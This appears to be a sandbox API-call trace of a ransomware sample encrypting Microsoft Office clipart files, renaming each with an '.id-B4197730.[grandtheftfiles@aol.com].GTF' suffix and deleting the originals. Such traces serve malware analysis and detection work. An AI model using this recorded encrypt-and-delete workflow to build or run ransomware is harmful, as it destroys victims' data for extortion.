	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".doc") returned 4
	[0084.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString=".docx") returned 5
	[0084.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.653] lstrlenW (lpString=".pdf") returned 4
	[0084.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString=".xls") returned 4
	[0084.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.653] lstrlenW (lpString=".xlsx") returned 5
	[0084.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.653] lstrlenW (lpString=".ppt") returned 4
	[0084.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".zip") returned 4
	[0084.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.653] lstrlenW (lpString=".rar") returned 4
	[0084.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString=".bz2") returned 4
	[0084.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString=".7z") returned 3
	[0084.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".dbf") returned 4
	[0084.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".1cd") returned 4
	[0084.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".jpg") returned 4
	[0084.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.653] lstrlenW (lpString=".doc") returned 4
	[0084.654] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString=".docx") returned 5
	[0084.654] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.654] lstrlenW (lpString=".pdf") returned 4
	[0084.654] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString=".xls") returned 4
	[0084.654] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.654] lstrlenW (lpString=".xlsx") returned 5
	[0084.654] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.654] lstrlenW (lpString=".ppt") returned 4
	[0084.654] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.654] lstrlenW (lpString=".zip") returned 4
	[0084.654] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.654] lstrlenW (lpString=".rar") returned 4
	[0084.654] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString=".bz2") returned 4
	[0084.654] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString=".7z") returned 3
	[0084.654] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.654] lstrlenW (lpString=".dbf") returned 4
	[0084.654] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.654] lstrlenW (lpString=".1cd") returned 4
	[0084.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0084.654] lstrlenW (lpString=".jpg") returned 4
	[0084.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.654] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0084.654] lstrlenW (lpString="BS00439_.WMF") returned 12
	[0084.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.655] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=2052) returned 1
	[0084.655] CloseHandle (hObject=0x378) returned 1
	[0084.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x220
	[0084.655] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0084.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0084.655] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.655] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.655] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c
	[0084.656] GetLastError () returned 0x0
	[0084.656] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x804, lpOverlapped=0x0) returned 1
	[0084.984] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x810, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x810, lpOverlapped=0x0) returned 1
	[0085.005] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.005] WriteFile (in: hFile=0x37c, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.005] SetEndOfFile (hFile=0x37c) returned 1
	[0085.005] CloseHandle (hObject=0x37c) returned 1
	[0085.006] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.006] SetEndOfFile (hFile=0x378) returned 1
	[0085.007] CloseHandle (hObject=0x378) returned 1
	[0085.007] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.007] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00439_.wmf")) returned 1
	[0085.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.142] lstrlenW (lpString=".doc") returned 4
	[0085.142] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString=".docx") returned 5
	[0085.142] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.142] lstrlenW (lpString=".pdf") returned 4
	[0085.142] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString=".xls") returned 4
	[0085.142] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.142] lstrlenW (lpString=".xlsx") returned 5
	[0085.142] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.142] lstrlenW (lpString=".ppt") returned 4
	[0085.142] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.142] lstrlenW (lpString=".zip") returned 4
	[0085.142] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.142] lstrlenW (lpString=".rar") returned 4
	[0085.142] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString=".bz2") returned 4
	[0085.142] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString=".7z") returned 3
	[0085.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.142] lstrlenW (lpString=".dbf") returned 4
	[0085.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.142] lstrlenW (lpString=".1cd") returned 4
	[0085.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".jpg") returned 4
	[0085.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".doc") returned 4
	[0085.143] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString=".docx") returned 5
	[0085.143] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.143] lstrlenW (lpString=".pdf") returned 4
	[0085.143] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString=".xls") returned 4
	[0085.143] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.143] lstrlenW (lpString=".xlsx") returned 5
	[0085.143] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.143] lstrlenW (lpString=".ppt") returned 4
	[0085.143] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".zip") returned 4
	[0085.143] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.143] lstrlenW (lpString=".rar") returned 4
	[0085.143] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString=".bz2") returned 4
	[0085.143] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString=".7z") returned 3
	[0085.143] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".dbf") returned 4
	[0085.143] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".1cd") returned 4
	[0085.143] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00439_.WMF") returned 68
	[0085.143] lstrlenW (lpString=".jpg") returned 4
	[0085.143] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.144] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.144] lstrlenW (lpString="BS01638_.WMF") returned 12
	[0085.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.146] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=10538) returned 1
	[0085.146] CloseHandle (hObject=0x378) returned 1
	[0085.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 0x220
	[0085.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.146] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.146] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.146] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.147] GetLastError () returned 0x0
	[0085.147] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x292a, lpOverlapped=0x0) returned 1
	[0085.148] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x2930, lpOverlapped=0x0) returned 1
	[0085.150] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.150] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.150] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.150] CloseHandle (hObject=0x2d0) returned 1
	[0085.151] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.151] SetEndOfFile (hFile=0x378) returned 1
	[0085.152] CloseHandle (hObject=0x378) returned 1
	[0085.152] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0085.152] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString=".doc") returned 4
	[0085.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString=".docx") returned 5
	[0085.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.153] lstrlenW (lpString=".pdf") returned 4
	[0085.153] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString=".xls") returned 4
	[0085.153] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.153] lstrlenW (lpString=".xlsx") returned 5
	[0085.153] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.153] lstrlenW (lpString=".ppt") returned 4
	[0085.153] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString=".zip") returned 4
	[0085.153] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.153] lstrlenW (lpString=".rar") returned 4
	[0085.153] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString=".bz2") returned 4
	[0085.153] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString=".7z") returned 3
	[0085.153] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString=".dbf") returned 4
	[0085.153] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString=".1cd") returned 4
	[0085.153] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.153] lstrlenW (lpString=".jpg") returned 4
	[0085.153] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString=".doc") returned 4
	[0085.154] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString=".docx") returned 5
	[0085.154] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0085.154] lstrlenW (lpString=".pdf") returned 4
	[0085.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString=".xls") returned 4
	[0085.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0085.154] lstrlenW (lpString=".xlsx") returned 5
	[0085.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0085.154] lstrlenW (lpString=".ppt") returned 4
	[0085.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString=".zip") returned 4
	[0085.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0085.154] lstrlenW (lpString=".rar") returned 4
	[0085.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString=".bz2") returned 4
	[0085.154] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString=".7z") returned 3
	[0085.154] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString=".dbf") returned 4
	[0085.154] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString=".1cd") returned 4
	[0085.154] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0085.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0085.154] lstrlenW (lpString=".jpg") returned 4
	[0085.154] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0085.155] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0085.155] lstrlenW (lpString="BS01639_.WMF") returned 12
	[0085.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.155] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=4236) returned 1
	[0085.155] CloseHandle (hObject=0x378) returned 1
	[0085.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf")) returned 0x220
	[0085.155] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0085.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0085.155] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.155] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01639_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0085.156] GetLastError () returned 0x0
	[0085.156] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x108c, lpOverlapped=0x0) returned 1
	[0085.158] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0x1090, lpOverlapped=0x0) returned 1
	[0085.159] ReadFile (in: hFile=0x378, lpBuffer=0x32de020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1
	[0085.159] WriteFile (in: hFile=0x2d0, lpBuffer=0x32de020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x32de020*, lpNumberOfBytesWritten=0x2d5fc94*=0xec, lpOverlapped=0x0) returned 1
	[0085.159] SetEndOfFile (hFile=0x2d0) returned 1
	[0085.160] CloseHandle (hObject=0x2d0) returned 1
	[0085.160] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1
	[0085.161] SetEndOfFile (hFile=0x378) returned 1
	[0085.162] CloseHandle (hObject=0x378) returned 1
	[0085.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01639_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
